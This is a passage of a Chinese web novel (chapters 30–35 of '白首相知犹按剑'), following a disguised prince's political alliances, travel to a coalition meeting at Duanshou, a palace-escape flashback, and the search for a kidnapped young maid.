兰干王楚懋,作为宗室,但关系却实在不算近,能稳坐这位置不被利用,也不过是荀谌保他,兰干这群人,虽说是心向燕安,可又有谁人不听命于荀谌? 楚懋如今年幼,这才将大权实政落入他人之手,可若几年之后呢? 若楚懋意图夺权,对于曾经掌权之人该当如何,对于手下同荀谌交好的文武官员又当如何? 秦祉弯唇,继续道:“本王并非要兰干出兵,但正如你们要分这一杯羹,我也需要你们的表态才是。” 荀谌说:“殿下与浪昭同行,外人眼中你我已然是联手。” 秦祉摇头:“需要实证。” 她手指轻轻叩击着端寿一处,说:“这盟会,便是实证。” 解祈安用筷子夹了一块糕点,细细品味着:“端寿的盟会都有谁来?可推举盟主之位了?每人贡献兵力又是多少,走哪条路攻都邑?后方辎重补给又是谁出?这些可都有着落?” “端寿确认参会的有端寿王楚湛,卲关太守安屿承,以及晋州翼安太守葛向北。”贾文勰说,“算上在下与主公,五位领头人。” “至于其他嘛……”贾文勰面不改色,“盟会上自会商议。” 借鸡生蛋啊,解祈安失笑心道。 此话一出,书房陷入一片诡异的沉默,荀谌眸中沁了半分笑意:“兰干王年幼,因而我等行事更需谨慎,稍有不慎恐落人口舌,如今殿下顾念皇室宗亲,愿协兰干王立足于世,臣自当为其尽力,为燕室效忠。” 一切皆不出所料。 秦祉果断问:“那么兰干何人随行?” 荀谌视线淡然从书房众人面上扫过,最终停留在柏萧鹤身上:“殿下自西州与浪昭相见,如今在将军府小住,已然是旧识,不如就让浪昭走这一回。” 柏萧鹤正色微微抱拳颔首。 “五大营的其余四位将军仍需坐镇氾州兰干,那么就劳请元寿同行了。” 解祈安相当自如的拂了拂衣袖,朝着周围一圈作揖,眉眼弯弯:“这可真是,那中原这一行解某便替各位走一遭了。” “如此,那便出发。” “且慢,殿下。”荀谌说,“饯别酒来不及喝,这戏也不看了吗?” 戏? 秦祉神色一顿,略微蹙眉。 ---- 街巷闹市熙熙攘攘、人声鼎沸,往来百姓些许异族着装,交谈之间带着别样韵味。 店铺茶舍相连,外边铺子上的玩意儿首饰应接不暇,而这其间坐落一片空地高台,其上自有一人跄跄踉踉被推了上去,身后侩子手肩臂肌肉型而有力,手握屠刀,面色冷漠凶戾。 “这谁啊?没听说最近有什么人要行刑啊?” “害,告示上贴了啊, 30. 第 30 章 《白首相知犹按剑》全本免费阅读 “这人眼熟的很。”崔颉妙端详片刻,说,“都邑城见过。” “当然眼熟了。”秦祉说,“他就是徐行。” 秦祉远远睥睨着因污秽而看不清楚的头颅,喃喃嗤笑:“替死鬼啊。” 远处徐行缓缓勾唇,收回潋滟的眼,自巷尾掀起衣袍下摆上了马车,顺兰干北门而去,秦祉默默注视片刻,内心有了些许疑虑。 特意现身兰干,只是为救这徐生? 不现实啊。 徐行这一遭究竟想要做什么? “这就奇怪了,我以为这徐行最多派人来救,怎会亲临此地呢?”贾文勰行至秦祉身后方,道,“主公,你觉得兰干相是否料到徐行偷梁换柱一事?” 秦祉回眸。 “徐氏的人甘愿在兰干做个小小长吏?” “只是在下以为,他作为殷州徐氏的子弟,清县又离殷州相近,仅是靠家族帮扶罢了...” “或许徐氏得知消息,会派人来也说不准。” 几番熟悉的言论赫然从秦祉脑海内一闪而过,她像是忽然抓住了什么重点,面色凝重地思忖着,半响愕然失笑:“原来如此......” “主公?” 秦祉回神道:“荀谌知不知晓已经不重要了,重要的是张珏身后的人稍微明晰了些,言贺,去派人查查张珏离开兰干后,是已经走了,还是在城门外等着徐行的车马呢?” “主公认为张珏听命于徐行做事?” “说不好牵扯到什么程度,但定有联络。” “若是寻到张珏踪迹,该如何处处置?” 秦祉缓慢道:“不用理会,张珏已加入朔昭阁,他要替本王办事。” ---- “殿下,戏可精彩?” 荀府外,亲王的车马仪仗队浩浩荡荡数十米看不到尽头,引驾仪仗由手持横刀、弓箭的骑兵开路,旗阵后乃是随行官员,亲王仪仗象辂位于其间,其后骑兵步卒随从乃至数百人,占据街头如长龙甩尾。 象骆停于荀府正门外,柏萧鹤倚着树干笑问。 秦祉意味不明地看他一眼,说:“当然,只可惜柏将军未能欣赏到那场景,简直是青山依旧在,几度夕阳红啊。【1】” 柏萧鹤身形缓缓立直,盯着她。 “啊,是本王词不达意了。”秦祉仿佛后知后觉,惬意地挑眉笑着,直视那双眼,一字一顿道:“本王的意思是,血如夕阳。” 她说完,便利落地上了马车,丝毫不在意柏萧鹤会如何解读那句话。 他若连这番话都听不出什么不对劲的地方,未免过于愚蠢,但这对她而言反而是件好事。 秦祉透过车辂的窗帘朝外观察,心道:可这人并非外强中干,他定能明白什么意思。 因而柏萧鹤接下来的举动便只对应一件事,他是否会调头回府,向荀谌禀告此事? 徐生被替换一事时间并不充裕,不会给他们出城后找时间传信的机会,如果柏萧鹤此刻转身,那么徐行就与兰干并无关系了。 柏萧鹤动了。 秦祉下意识眯眸,他会怎么做? 午时的阳光从头顶落下,仿佛渡上一层金光,倒映在双眸之中,宛如星河璀璨。 柏萧鹤将身旁的长戟提在手中,道:“殿下已归,即刻启程。” 两侧骑兵开阵,将街巷闲杂人等一杆清开,百姓那边才从斩首之中缓过神来,转眼间又被这震撼的长龙仪仗吸引了注意。 吆喝叫卖声在铁蹄踏地的震耳声中逐渐淹没,外围围观的百姓愈发拥挤,你推我我踩你,都伸长脖颈想要朝着那车辂之中看去。 两侧侍从服饰精贵从简,面傅胡粉,面无表情之中透出一股高高在上的蔑视,旁边铁骑之上骑兵身着轻甲,银光凛凛,威严而不可侵犯。 仪仗正中,缓缓而行的是那辆外镶白玉黄金,内绣珠络宝石的车辂,微风轻拂,吹动车辂前的珠帘,发出清淡的声响,内里流苏帷幔静置,竟丝毫不曾透露坐在辂中的尊驾。 “那里面可就是晋赭王?好大的阵仗啊,咱们兰干王出行都没有这等场面。” “你如何跟人家比?晋赭在什么地方,那是梌州!” “南北贯通、东西毗邻,粮草丰盈、盐场满地,乃是天府之国!”这人激动的挥手侃侃而谈,“古往今来,那都是历代兵家必争之地。” “可若是如此说来,表面看风光无限,可实际上说,梌州岂不是也很危险?” “那是自然,只是有梌州牧坐镇,中原十姓的名门望族之中也有两家扎根于此,旁人想做什么还需要再三斟酌。” “在这种地方安心做一个闲散亲王,既不需考虑吃穿用度,也不需同其他诸侯勾心斗角,这晋赭王属实是有福气啊,简直羡煞旁人......” 这话隐约飘荡进车辂之间,秦祉眼睫微微闪动,阖上的眼缓缓睁了开。 福气? 或许算吧。 她斜睨着身侧的柏萧鹤,脑海里琢磨的却是徐行的露面,他是特意站在那等着她的? 她与兰干的联盟想必已经传了出去,徐行此刻出现,就不怕她把行程透露出去?如此的话徐生也未必能活。 “想什么呢?”耳边突如其来响起的声音将秦祉的思绪拉了回来。 秦祉问:“什么?” 柏萧鹤好整以暇地看她,说:“让我猜猜?不会是......徐生吧?” 秦祉心中铃声大作,暗道不对,这人刚刚分明是故意引她想歪,兰干或许从一开始就并不在意徐生的死活。 他们在意的只是行刑台上,百姓所认为的结局。 柏萧鹤微微调整了坐姿,为自己斟了杯茶,笑说,“是非成败……转头空啊。【2】” “何时知道的?” “徐行迈入兰干城的那一刻,就已经知道了。”柏萧鹤说,“那关门校尉又不是吃干饭的,徐行再低调,也是辆马车,如何能不注意?” “荀谌故意放的人?” “殿下是想问,为何你的女官进出如此艰难,徐行的人却能不易察觉的将人救走吧?”柏萧鹤递上一杯茶,“ 31. 道别 《白首相知犹按剑》全本免费阅读 “不见。”柏萧鹤顿了须臾,说,“这人即便会去端寿,也是大势所趋不得不为,可以多加利用但不能深交。” “恐怕未必能如愿啊。”秦祉说,“我们今日出发的消息会传出去,他也许会在半路截住仪仗。” “单凭安淑女,也足够给这安屿承求见的缘由了。” “这个未必。”柏萧鹤笑了笑,说,“他原本就是送来当人质,要杀的。” “她叫...安瑾,这名字殿下不觉得耳熟吗?” 柏萧鹤身体微微前倾,单手支在膝头:“安屿承为了劭关太守一位,当初想要站队阮义,并意图将小女献上,只可惜事情尚未有结果,劭关前任太守不知他的意图,就已出兵兰干。” “劭关之战来势迅猛,安屿承自保不及,只能断了阮义那条路,转投兰干,于是为表心意,又将这安瑾赠予兰干,并说......” “在下诚心难以证明,因而以此女之性命作保,对兰干绝无二心。” “这倒是新鲜。”秦祉面上不动声色,情绪也未达眼底,“只是这种人,你们倒是不介意助他坐稳太守之位整整三年之久。” “因为蠢嘛。”柏萧鹤说,“谁不喜欢愚蠢的人呢?” 秦祉从容地继续道:“如此说来,若要证明与阮义决裂,安屿承可得出兵才是。” 柏萧鹤重新倚了回去:“这和兰干的关系可不算大了,殿下,我们如今可算在你的人里了。” 车辂有片刻宁静。 “殿下,侧方河岸旁有十几人守着,看样子是在等我们的,要赶走吗?”车辂外侍从小跑两步,凑近了车窗说。 “是什么人?” “看着装是普通的百姓,但不确定是否有贼人混入。” “不用管,戒备即可。” “瞧见了吗?那就是晋赭王的仪仗!” “天哪,这么大的阵仗,咱们真的还有机会见到殿下吗?” 河边,十几人叽叽喳喳地议论着,仔细看去,有一熟悉的面孔扶着身旁略有些佝偻的渔民。 “幺儿,你确定就是这位殿下了?” “嗯。”姑娘点点头,望向远方的双眸中倒映着光亮,“我确定,那日殿下的风姿作为,我这辈子都会记得的!” “那我们就在这给殿下磕个头,是他救了你,也救了爹的命...” “爹!”姑娘搀扶着的手用力拦住了,抿着唇说,“爹,我想再见殿下一面,能不能让我去见他一面……” “你糊涂啊,那可是亲王的仪仗,如何能拦?”渔民忍不住咳了半天,声音发哑,“那周围都是兵马,咱们上去不就是送死的吗?” “可是殿下他不一样啊,他那么善良温柔……” “再和善也是王孙贵族,终究和我们百姓不是一路人,救你不过是他一时心善,可冲撞仪仗这等罪名哪里是你我担的起的?”渔民那双饱经风霜的手拨了拨姑娘的碎发,说,“我的幺儿,你如今能活着,能回到爹身旁,就已经是谢天谢地了。” 可他真的不一样...... 姑娘想要反驳,可望见父亲那一夜白头的憔悴模样,终究还是没有说出口,只是垂下了眸,胡乱地点着头。 面前近百米的仪仗大张旗鼓地从面前张扬而过,骑兵手中的刀刃握得很紧,凌厉的双眼从众人身上不着痕迹的扫过,便已了然,这些皆是没有武功的普通百姓罢了。 尘土被微微溅起,尊贵的车辂驶来,姑娘被渔民一把拉拽着,跪在草地之上,她看见自己的父亲将头埋了下去,十分虔诚且充满谢意的磕了头,看见周围乡亲的效仿,他们或是惊奇、或是心惊、或是感激,但都无一例外的弯下身。 她想,或许在晋赭王的眼里,她的确没有什么不同。 或许晋赭王府内的淑女要更漂亮、更优秀,她不过是殿下随手施救的人,和路边的野花野草没什么区别。 那是受人仰慕的,高高在上的皇室宗亲,和渔民的女儿,终究是云泥之别。 可今日一别,或许此生,她都不曾有机会再见一面了。 “啪嗒。” 地面湿了。 天色被白云笼罩着,遮住了大半阳光,朦胧之中仿佛落了一滴雨。 仪仗浩荡的继续朝着东方赶路,除去戒备的骑兵,竟无一人将视线落到此地,河面升起了一丝冷风,轻轻拂过车辂前的帷幔,她内心也随之剧烈跳动,冒出一股不知名的心慌。 “殿下......” 一匹赤马从视野里走过,彻底挡住了最后那道光。 “那不是淑女吗?” 车辂后方,凌云因好奇而投过去的视线里,精准的捕捉到了人群之间脊背挺直、面色愁容的姑娘,她下意识想要招手,却忽而记起了什么,小心翼翼地收了回去。 “可有事?”崔颉妙见状纵马而来。 “啊?”凌云连忙摇头,“没有没有,崔女官,我只是见到了熟人,殿下当日除了救我,还搭救了一位淑女,眼下在那边行礼呢,她对我很好,所以我就是有些......” 崔颉妙微微蹙眉,落下一句:“等着。” “哎不是,崔女官!”凌云见人调转马头就冲着车辂而去,吓得抬脚就要去追,“崔......” “阁主,河边百姓之中,有您之前从徐生府上同凌云一道救出的女子。” 车辂中,淡然的声音响起:“盟会要紧,卤簿不能停,若是凌云想要告别,你骑马带她一程,只给一盏茶的时间,速度要快。” “好。” “淑女!”崔颉妙单手一揽,将凌云送下马,凌云跑了两步,直接飞扑到她身上,“你还好吗?” 姑娘点着头,眼中泛起湿意:“嗯,你呢,待在殿下身边......可还习惯?” “比在徐生那个人模狗样的身边可是好得不能再好了,只是这么长时间和你待在一起,以后不知道什么时候还能再见。”凌云眼泪“扑簌簌”地滚落下来,“我会记得你的!你也一定要记得我......” “我、我......” “凌云,我会永远记得你,你不是说要成为殿下那样的人吗,我会一直等着你那天的到来的。”姑娘抬手轻轻拭去凌云脸上的泪,说,“别哭,你如今跟着殿下,是他的人,要坚强。” 32. 端寿王 《白首相知犹按剑》全本免费阅读 他一身暗纹白杉,腰间系玉组佩,两侧玉珠点缀,皮草毛领柔软光泽,衬着脸色越发白皙,眉眼舒缓,眸光清亮纯净,捧着茶盏的手尖不自觉摩挲着,神情略微紧张。 “殿下,何故如此紧张?”安屿承终于坐不住,出声询问。 只见端寿王楚湛一惊,随即否认:“本王谈何紧张,只是晋赭王前来,一时高兴罢了。” “讨阮一事本王也只是顺天下英豪响应,但属实不知该如何举办这盟会,晋赭王来的真是正好,也让我能有个人商议。” “可是殿下,晋赭王不仅仅是自己来的,他身旁还跟着兰干的人......”安屿承擦拭着额角的汗,说,“兰干但是五大营就已经让人心生畏惧,如今又与晋赭王联手,我沧州夹在中间,很危险啊!” 楚湛垂眸思考了片刻,认真道:“可晋赭王与兰干如今是来参加讨阮联盟的,我端寿作为盟会地点,如何会危险?” “太守你是多虑了,听闻令爱嫁予兰干相荀谌,你怎么还担惊受怕上了?”他拍了拍安屿承的肩膀说,“安心吧,晋赭王人很好的。” 楚湛说完便急匆匆地出门吩咐道:“谒舍都收拾好了吗?连夜奔波数日,许是累了,记得将吃食都备好。” 侍女轻笑着应答:“殿下不必担心,都备着呢。” 安屿承神色凝重地望着那道身影,暗骂一声蠢货。 ---- 端寿位于沧州东北处,比邻梌州,自有其锦天秀地之美,仪仗从林中一路行出,有佐官匆忙赶来拦住车辂。高喊道:“在下奉端寿王之命前来迎接晋赭王、贾太守、柏将军及司校尉。” 亏得来人不够多,不然非得在这报名报上个一炷香不可。 只是这两辆马车之中,似乎少了什么人。 解祈安上前一步掀起帷幔,表情玩味道:“我说,既然人都要挨个点出来,少了我是几个意思?” 那佐官当即大惊失色,揖礼说:“实在抱歉,在下眼拙,不知阁下是何官职?” 解祈安表情一凝:“不应该啊,晋赭王那份名单里没有我的吗?” 贾文勰笑出了声,连眼睛都没争便开口道:“这人赋闲,不算你眼拙。” “言贺兄,这算不算恶语伤人六月寒啊?” “此为实话,直言不讳而已。”贾文勰看他,“怎么还伤心上了?” “谋士都是如此,由身到心都是弱不禁风、脆而不坚啊……”解祈安佯装虚弱地倚靠着,偏头咳两声,“这盟会在下怕是难以出力。” “是么?”贾文勰倏而一笑,“你运气不错。” 解祈安眯眸,觉察不妙:“什么?” “我刚好懂些医术,帮你调理一下还是不在话下的。” “不是,你等会!” “哐当”一声。 车辂后方的马车上闹得不亦乐乎,司昀愣是被误伤,身子一歪掀下了车,伴随一声“靠啊”,“哐唧”扑到地上去了,给那端寿佐官的眼睛都要看瞪出来了。 他刚刚的吃惊还未消散,更大的“惊喜”接踵而至,这人手疾眼快,放下帷幔后退三步,企图装作没看见的模样。 吵闹延续到了车辂,柏萧鹤弯唇:“这二人相处的不错,一路上说说笑笑的。” 疲劳困倦被这二人一闹反而消散了大半,秦祉掀开珠帘,感受着迎面吹来的,夹杂着些许清香的风。 她站在车辂前回首望去,笑道:“你管这叫不错?” 柏萧鹤跟着下了车辂,活动着手腕:“你不觉得这个场景有些眼熟吗?” 秦祉表情一僵,视线缓缓移向他:“……” 眼眸中写着一行大字:“敢提你就死定了。” 柏萧鹤挑眉摊手道:“我没说,殿下。” “哎呦什么眼熟不眼熟的。”司昀拍了拍身上的灰,“我这一路跟架火上烤一样,他们两个人什么情况,不合啊?” 秦祉淡然一笑,说:“没什么,随他们去。” 佐官跟着小跑过来,硬着头皮问:“殿下,那咱们现在是?” “不是来接我们的?带路。” ---- “诸位一路劳累,殿下特意只备了可口的午膳,谒舍也已收拾妥当,直至申时,各位休息够了,再见殿下即可。”佐官将人引到了谒舍,说,“侍从皆在院中候着,那,在下告退。” “等等。”秦祉唤道,“晋州翼安太守可来了?” 佐官说:“未曾,翼安离此地稍远,恐怕还需要几日才会到。” 秦祉点头道:“你下去吧。” 人一走,他们这群人也便散了,秦祉推门进了屋,屋内阳光富足,近乎一尘不染,偌大的厅堂前只摆放了一张木质案几,其上置一白瓷瓶,内插兰花,散发着淡雅清香。 如今处冬季,虽说这沧州的温度不低,可显然这兰花也是经过精心栽培,才得以如此绽放。 “子赢叔没到。”秦祉轻轻触碰着花序,“安屿承不愿与我们过多接触,说明他对兰干心存芥蒂,而那楚湛,我和他并未有过接触,尚不清楚其为人,眼下不能轻举妄动。” “翼安靠近蜀州,实则葛太守赶往幡趾的路要更近些,但他多日前来信便说,若是主公欲应这盟会之约,他定带人来助你。” 秦祉微微笑了一下,连身形都放松了下来:“他一定会如此。” “只是如此一来,若是要北攻都邑,后备储粮就要仰仗端寿,他们未必同意。” “这事就要看军事前的那场谈判了。” 谈判...... 秦祉叹了口气,脑海闪过的无一例外是以往谈判桌上的画面,心道:必不可少的一场腥风血雨啊。 秦祉只简单梳洗了一番,就直接卧倒在榻上,堪称昏睡般的质量,一觉睡到了申时,若非门外有女官敲门提醒着,大概她下次睁眼得是一天后了。 秦祉随手披了身外袍,趺坐在榻上,神色茫然,看着不太清醒的样子:“进。” 女官见状微微一笑:“晋赭王,即将酉时,我们殿下想要与您会一面。” 秦祉鼻腔轻轻“哼”了一声,她揉了揉头发,道:“等一下吧,我更衣后再去。” 女官神色犹豫了下,解释说:“晋赭王许是误会了,我们殿下说,您一路奔波,理应他来见您才是。” “已经来了?” 女官回:“在路上了。” 这一瞬间秦祉觉得自己清醒了不少,她只挥了挥手说:“去叫柏将军过来。” 楚湛进门便是这样的场景,只见那木案前晋赭王披着外袍,神色倦怠地跪坐于席,而他身侧的那名男子却相当随意,单手撑在膝头,举止放浪形骸,让楚湛忍不住蹙眉。 他忽视此人,只 33. 骗局 《白首相知犹按剑》全本免费阅读 “你觉得他是故意的?” 柏萧鹤懒散地坐了回去,抬起眼帘:“演技那么差,说话也漏洞百出,若不是有意为之,说不过去啊。” “他提示了三件事,和盟会息息相关的三件。”柏萧鹤竖起手指,“一,端寿供给不了盟军北攻阮义的粮草;二,他楚湛不愿做盟会的领头人;这三,则是意图挑拨你我与安屿承之间的关系。” 秦祉说:“一句多余的废话没有,还能不动声色的把锅都甩出去,一时还真不好区分啊。” “但如此一来,讨阮的军备不足,我们端寿这一行人就没了意义。” 秦祉微微挑眉:“这些个人,没有几人愿意自己出力,都预备坐享其成呢。” “盟会之后,就看各家如何谈,又怎么做了。” ---- 逢二月底,一片春和景明,天色如碧水,万里无云。 这几日无事,秦祉终于闲了下来,将正事抛到脑后,扯着人就上了街区游逛。 虽说这天下并不太平,到处战乱不断,但凡是士族门阀所坐镇的郡县无外乎是一片祥和之相,端寿便是如此,街头人来人往,店铺成群、目不暇接。 秦祉手中捧着一袋果脯,指尖因长时间暴露在外而微微泛红,她两只手搓了搓,说:“找个茶肆取取暖吧,长时间走在外面还是很冷啊。” “前面就是了。”崔颉妙抬手指道。 “走走走。”秦祉笑着催促,快步进了那间还算清静的茶肆。 内里木案错落有致,旁边附以绿植装点,偶有客人促膝而谈,自成清雅之风。 见着人来,小二稍微快行两步,躬身询问:“几位客官,可是要在小店喝茶?” “对,将你们这上好的茶拿来,再上两盘好吃的糕点来。”凌云清了清嗓,接过这话,“我们家公子向来口味......” 她打了个结巴,险些顺嘴将“挑剔”二字冒了出来,连忙咳了一声,止住了话题:“你可别随意应付我们。” 小二连忙笑着应道:“客官哪里的话,公子一看便是器宇不凡,非凡人之姿,小的哪敢随意应付着呢,尽管瞧好吧,指定是我们店最拿手的好茶来!” 凌云见人走了,这才缓缓舒了口气,一抬眼便撞入了秦祉那双漆黑幽深的眸中,登时心跳一停,只见对方勾唇:“紧张?” “啊没有!”凌云立刻否认,“我只是有些、有些......” 她咽了咽口水,硬着头皮说:“是有点,但是我会很快就适应的!” 秦祉低笑出声,说:“这么紧张做什么,你这点要跟颉妙学学......” 凌云刚想顺势赞叹一句时,又听殿下说:“她当年在先皇面前,同陈孝、屠玉那几人撒谎的时候都面不改色心不跳的。” 凌云缓缓眨了眨眼,表情逐渐从呆滞转向了震惊。 先皇? 她觉得自己声音都跟着抖了:“陈孝和屠玉是?” 秦祉似乎只是随口闲扯的,见她不懂,就随和的解释了两句:“太尉陈孝,骑都尉屠玉,啊,现在屠玉应该已经是中郎将了吧?” “是,阮义成为司徒之后,便升屠骑都尉为中郎将了。”崔颉妙淡淡补充道。 凌云震撼了。 她此生,在那日被晋赭王搭救之前,所接触过的最大的官,不过也就是长吏徐生罢了。 虽然这些日子她常听人说起过晋赭王的事迹,一路上还有不少侍从因此对她多加照顾,无一例外皆因她是晋赭王的侍女,这少不得让她心惊肉跳,可实感终究不够。 毕竟在她眼中,殿下相当平易近人,举止风度翩翩不说,还很爱笑,凌云想,除了那日见她瞧着徐生的目光冷漠薄情之外,她见到的殿下总是嘴角挂着笑意的。 可太尉不一样。 那可是位列“三公”的人,掌管最高军事的太尉陈孝,至于骑都尉,凌云不懂这些官职,可屠玉的大名天下何人不知,那是阮义部下最得力的武将,素有“杀神”之称,所经战场皆是白骨遍野。 凌云犹豫片刻,似乎有话要说,但最终小二一壶热茶端了过来,截住了她的思绪,见秦祉和崔颉妙也没有继续的打算,她只好将内心的好奇压了下去,不敢多问。 清茶荡漾在清澈透亮的荷叶杯中,散发着雾气,朦胧之间倒映着的并不清晰的脸,伴随那一句说笑,时间仿佛倒流到五年前的那一天。 ---- 相国府走水的翌日。 都邑城内搜查不断,却始终不得秦祉的消息。 直至半日后,阮义收到情报,得知秦祉为避追兵入宫,他当即传信陈孝,以刺客混入为由,封锁宫门,在皇宫内大肆搜寻。 举止嚣张不可一世,逼的秦祉不得不想法子离开,被撵狗一般追着,绕来绕去躲进沧园藏身。 沧园景色好的出奇,端是那文冠便生的花团锦簇,粉白相见缠绕枝头,秦祉做贼一样,轻手轻脚地顺着花坛边俯下身来。 积云顺风而行,午日当头之下,暑气蒸腾,地上落影变化,微风扫荡,数道脚步声顺着沧园绕开。 终于走了! 她心下一喜,刚扶坛起身,被一道阴影笼罩。 “是你吧。”冰冷而低沉的声音在后方响起,霎时,她浑身战栗,感受到一股浓浓的杀意。 被发现了! 她猛地朝前方一滚,当即闪过落下的银刃长戟,只见那人冷峻的脸上带着几许窥探之意,目光幽深如蛇,盯着她斗篷下的一小截肌肤。 骑都尉、屠玉。 “屠骑都尉,你这是做什么?”她抬手拽了拽兜帽,身形朝着沧园外侧站着,浑身绷紧,警惕着面前的男人。 “不用想着逃跑。”屠玉淡漠出声,“你逃不掉。” 她呼吸微微一顿,连带着颤了几分:“属下乃是朔昭阁女官崔颉妙,屠骑都尉怕是认错了人。” “我倒还未说明要找的人是谁,你怎知不是你?”屠玉挑眉冷笑。 “认没认错,一探便知。” 白光一闪,那杆长柄战戟当即破空刺来,挑破她外披的斗篷,并在内里左臂留下一道划痕,那力气未免过大,袖口的银钗登时变的毫无意义。 她只得埋头躲避,尽可能藏匿在死角,让屠玉无从下手。 “啧。”屠玉微微挑眉,这人身手狡猾的跟只老鼠般,东躲西藏愣是避了他好几次攻击,连带着耐心都少了几分。 屠玉将战戟横向一挥,触地纵跃,上前猛地一脚,将人狠狠踢飞在地,当即一口血沫吐出,仰躺蜷缩在地。 屠玉缓步上前,低声道:“只怨你出身,偏要生在帝王家,养至相国府。” “ 34. 失踪 《白首相知犹按剑》全本免费阅读 那一日风和日暄,夏山如碧。 这一招调虎离山不仅给秦祉制造了离开都邑的机会,也给了她一介可乘之机,阮义的粮仓也跟着烧起了一把大火,那叫一声东击西,一时府内乱作一团,等屠玉缓过神来的时候,出宫也只来得及命人救那粮仓罢了。 都邑城南边百里是一片朱桃林,外接天桂山。黑马昂首挺立于山坡,郁郁葱葱之间,秦祉玄色锦袍、手提长剑,踏马俯视这繁华乱世。 “……这只是个开始。” 只静默了一炷香的时辰,她忽地扬起马鞭,风驰电掣般朝着远处飞驰而去,身后尘土飞扬,逐渐迷失方向。 ---- 茶肆外隐隐有着交谈,伴随着纷杂地脚步声,秦祉微微偏头:“他们这是去做什么的?” “害,客官有所不知,咱们这端寿有一家著名的百戏坊,近来就在前面两条街上搭了个戏台,各种角抵戏都有,热闹的很啊!” 秦祉闻后眼前一亮:“去看看?” 不等面前二人回话,她果断的起了身,赶上街巷那群百姓一起凑那热闹去。 凌云不必说,本就是个孩子,这等场面再喜欢不过,可秦祉正值桃李年华,也只有此等休闲的功夫才能享受片刻欢愉。 这百戏坊声势壮大,百姓也越聚越多,一拥而至,戏台一侧乐师坐于席间,鸾歌凤吹、鼓乐齐鸣,面前飞剑舞轮、都卢寻橦应接不暇,一人手扶长竿,竿上“丁”字横木,木上和竿顶倒挂三人,以腹而旋,看着十分惊险,引得台下掌声尖叫不断。 “哇!太牛了吧!” 又是一道飞天而去的身影,顺着旁侧二楼栏杆几步穿到对侧,再度翻身而下,其下自有一人手持长矛稳稳接住对方,大臂线条流畅自然,旋即用力一扫,二人顺势对打,一招一式相当出色,瞬间引得百姓骚动,大批人马又朝着反方向拥挤看去。 “漂亮!” “太精彩了!再来一次!” “这人......”秦祉微微眯起眸,此人武功并非表面看上去那般,似有特意收敛的迹象,她直觉不妙,当机立断道,“崔颉妙,带凌云马上...” “殿下?”见秦祉微微征神,崔颉妙开口道。 秦祉面色阴沉下来,目光缓缓扫过人群,声音中依稀可辩压着火气:“凌云呢?” 崔颉妙当即回身,这人分明刚刚还跟在身侧,不过眨眼之间而已…… 她意识到不对劲了,这百戏是个幌子! “凌云不见了,阁主。”崔颉妙呼吸微微有了起伏,这是端寿,人生地不熟的地方,那孩子左不过十余岁,长相出众却没有自保的能力,一旦陷入危险后果不堪设想。 “即刻回府,带人给本王把这里围起来,一个人都不准放!” ---- 楚湛正在书房看着公文,被外面一众杂音扰乱了思绪。 “出什么事了?” “回殿下,是晋赭王那边,听说他今日去街巷游逛,身边只随行了两个女官,其中一个……不小心走失了。” 楚湛听后神色放松下来,说:“不过是走失罢了,许是人太多冲散了呢,何故闹成这样,派几个人出去找找就是了。” 侍从踌躇片刻,上前低声说:“听闻是看百戏的时候走失的。” 楚湛微微一愣:“百戏坊?” 他忍不住闭眼吸了口气:“这晋赭王去那凑什么热闹,那地方人多杂乱的,丢了人可怎么找的过来啊。” “算了算了,带我去见他,我亲自同他说。” “你带一百人将百戏坊围起来,任何人都不准放过,其余人以此地为中心,向四周逐一排查,势必在太阳下山之前,掘地三尺也给本王将人找出来!”秦祉冷声吩咐道。 “是!”只见司昀一改往日的不正经,低声问道:“人是什么时候不见的?” “不到一柱香前。”秦祉说。 “晋赭王!”楚湛单手提起长袍下摆,姗姗来迟,“听闻你的侍女失踪了,眼下可有消息嘛吗?” “在我端寿的地盘出现这种事情,我是不会坐视不管的,你那可缺人手,我现在即刻命人跟你一同搜寻!” “有劳端寿王担待。”秦祉微微颔首,道,“所有人,出发。” 楚湛抱着暖手炉,目送秦祉身影从王府离去,那双明亮的杏眼顿时一暗:“丢失的侍女是什么人,可查清楚了?” “回殿下,听闻是晋赭王在兰干长吏徐生手下救出的小孩儿,不过十岁出头的孤儿,没什么背景。” 楚湛牵了牵嘴角:“孤儿?” “是。” “可让人带进去了?若是还没就找个没人注意的地方把人放了。” “殿下,怕是来不及,已经带进去了......” 楚湛紧了紧暖炉,看似纯良的浅笑一下,露出嘴角的一颗梨涡:“这可真是......” “那就叫人暗中处理干净。”声音一如既往的透亮,但埋藏于话语之间的,是草菅人命的漠视。 ---- 百戏未停,台下百姓来往络绎不绝,却忽而听见马蹄落地的声音,自远处传来,致使大地撼动,百名骑兵手持刀剑,面色肃杀,片刻之间将街巷围堵,令人闻风丧胆。 “都不准动!”领兵之人高声喝道,声穿百步有余,气势逼人。 银甲熠熠,兵器冷锐寒光,一时之间竟无一人敢发出声响。 “这是在干什么?” “不知道啊,为什么会有这么多骑兵?” “那边出什么事了?” 百戏坊的老板见状连忙从人群之中挤了出来,躬着身子连头都不敢抬:“各位军爷,不知这是出了什么事儿啊,竟然惊动了这么多人把我这戏坊围了起来?” “咱这都是老实本份的平民罢了,实在是受不起这架势啊......” 司昀从后方骑马上前,垂眸冷声道:“老实本份?” “那你倒是说说,我们晋赭王殿下的女官如何在你这百戏坊前失踪不见了的?” 老板当即冷汗都下来了,连声道:“这、这草民实在是不知啊,我们百戏坊也是开了多年的,若是有问题岂不是早就被官府处置了,许是这人多,那位女官走散了呢?” “晋赭王殿下可有四处找找那人?别是女官贪玩什么的,自己跑走了不知道......” “你当真不知?” “当真不知道啊,若是知道了,草民定会告知官爷的!”那老板欲哭无泪。 司昀勾起一抹笑,声音缓慢冷冽:“你最好是真的不知道,若是 35. 春山居 《白首相知犹按剑》全本免费阅读 凌云被兀然拖走的时候,周边没有任何人注意,或者说,没有任何人敢注意。 “这人旁边那位看着不像普通人,你直接对她下手不会有问题吗?” “管他什么身份,还能和咱们当家的比?咱们当家的背后是什么人你还不清楚?”那人嗤笑一声,“少说废话,赶紧拖走!” 两人轻而易举的从人群之中闪身进了小巷,七扭八拐地从另一边扬长而去。 “唔...唔!”凌云企图使劲挣脱开那两人,可惜她力气实在不够,连着声音都发不出去,最后只能趁乱将手腕上的串珠撇到了地上,祈祷不要有旁人捡了去。 等凌云再度清醒时,便已被绑住了双手,扔进了一间屋子,她强撑着起身,隐约听闻门外传来对话声。 “这人现在昏着呢,春盈姐说了要怎么处理了吗?” “没呢。”另一人嘴里嚼着什么,吐字不是很清,“无非也就那两种,竟宝要是没人要,就留在楼里了呗。” “最近端寿会来不少大人物,你说他们要是也对竟宝感兴趣的话,咱不是能赚一票大的?” 